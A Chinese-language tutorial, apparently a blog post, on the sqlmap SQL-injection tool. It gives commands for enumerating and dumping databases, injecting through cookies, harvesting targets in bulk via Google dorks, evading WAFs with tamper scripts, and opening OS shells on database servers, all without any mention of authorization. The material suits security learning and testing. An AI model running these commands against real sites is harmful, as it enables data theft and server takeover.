sqlmap简介
sqlmap是一款用来检测与利用SQL注入漏洞的免费开源工具。
sqlmap的下载地址
这里要注意的一点,也是我开始犯迷糊的地方。sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先要么先手工判断注入点,要么用扫描工具扫出sql注入点。
sqlmap基本语法
小技巧:字母缩写前一个 - ,完整单词前两个 -- 。例如:-h --help*
判断注入点 -u
命令:sqlmap.py -u "目标url"
指定参数 -p
sqlmap默认测试所有的GET和POST参数,但你可以手动用-p参数设置想要测试的参数。
命令:sqlmap.py -u "目标url" -p "id,user"
查看用户 --users
命令:sqlmap.py -u "目标url" --users
查看数据库 --dbs
命令:sqlmap.py -u "目标url" --dbs
查看当前数据库、当前用户
命令:sqlmap.py -u "目标url" --current-user --current-db
读取数据库表信息
这里要注意的是,读取表信息时,要先指定数据库
命令:sqlmap.py -u "目标url" --tables -D "目标数据库名称"
读取数据库表中的字段信息
与上一个相同,先库再表后字段
命令:sqlmap.py -u "目标url" --columns -T "表名称" -D "库名称"
读取数据表字段的详细信息
在读取某数据表的具体信息时,通常先查看该表有多少条信息
命令:sqlmap.py -u "目标url" --count -T "表名称" -D "库名称"
然后查看详细信息
命令:sqlmap.py -u "目标url" --dump -T "表名称" -D "库名称"
在这里需要说明的是,--dump会将查询的数据内容保存到本地——C:\Users\XXX.sqlmap\output
下载某数据库内容
可以将某一数据库中的所有表信息下载到本地
命令:sqlmap.py -u "目标url" --dump-all -D "库名称"
以POST方式提交参数的sql注入
在一些以POST方式提交参数的网站中,sqlmapmap可以采取以下两种测试方法
1.用抓包工具如burp进行抓包,将数据包内容复制到txt文件中,从本地txt文件加载http请求
命令:sqlmap.py -r "目标txt文件"
2.--data="数据包中提取出的参数样例"
命令:sqlmap.py -u "目标url" --data="user=1&pass=123"
sqlmap进阶
(一)cookie中转注入
在一些网站中对以GET和POST方式提交的参数进行防注入的设置,这时候我们可以尝试利用cookie中转注入
命令:sqlmap.py -u "目标url" --cookie "id=1" --level 2
在这里cookie参数:定义连接调用位置
level参数:检测等级,sqlmap默认检测等级为1,要进行cookie测试,必须设置level等级大于等于2
(二)利用Google批量搜索注入点
sqlmap 可以测试注入 Google 的搜索结果中的 GET 参数(在国内需要进行代理或VPN设置)
命令:sqlmap.py -g "inurl:php?id="
返回包含该inurl中的Google搜索结果
可以结果其它Google引擎搜索语法进行测试
如:insite、intext、intitle
命令:sqlmap.py -g "site:www.XXX.com inurl:php?id="
(三)tamper插件的使用
在对目标url进行测试的时候经常会发现连接中断,或者明明可以确定该处有注入可就是没有回显,在这个时候是很可能遇到了WAF(防火墙)
先介绍三个命令
1.batch :要求不对目标写入(用户手册的说明)
2.tamper:使用干预脚本(可以在文件夹sqlmap\tamper中找到相应的脚本)
3.check:检查url(可以检查目标url是否使用了WAF)
命令:sqlmap.py -u "目标url" -v 3 --batch --tamper "base64encode.py"
可以绕过WAF防火墙进行测试
命令:sqlmap.py -u "目标url" -v 3 --check-waf --tamper "base64encode.py"
检测目标有没有使用WAF
(四)OS参数
sqlmap也可以运行任意操作系统命令
命令:--os-cmd --os-shell
当数据库为 MySQL , PostgreSQL 或 Microsoft SQL Server ,并且当前用户有权限使用特定的函数
命令:sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd=ipconfig
该语句会执行ipconfig命令并回显
命令:sqlmap.py -u "http://192.168.1.1/my.php?id=1" --os-shell
用 --os-shell 参数可以模拟一个真实的 shell ,可以输入你想执行的命令
网友评论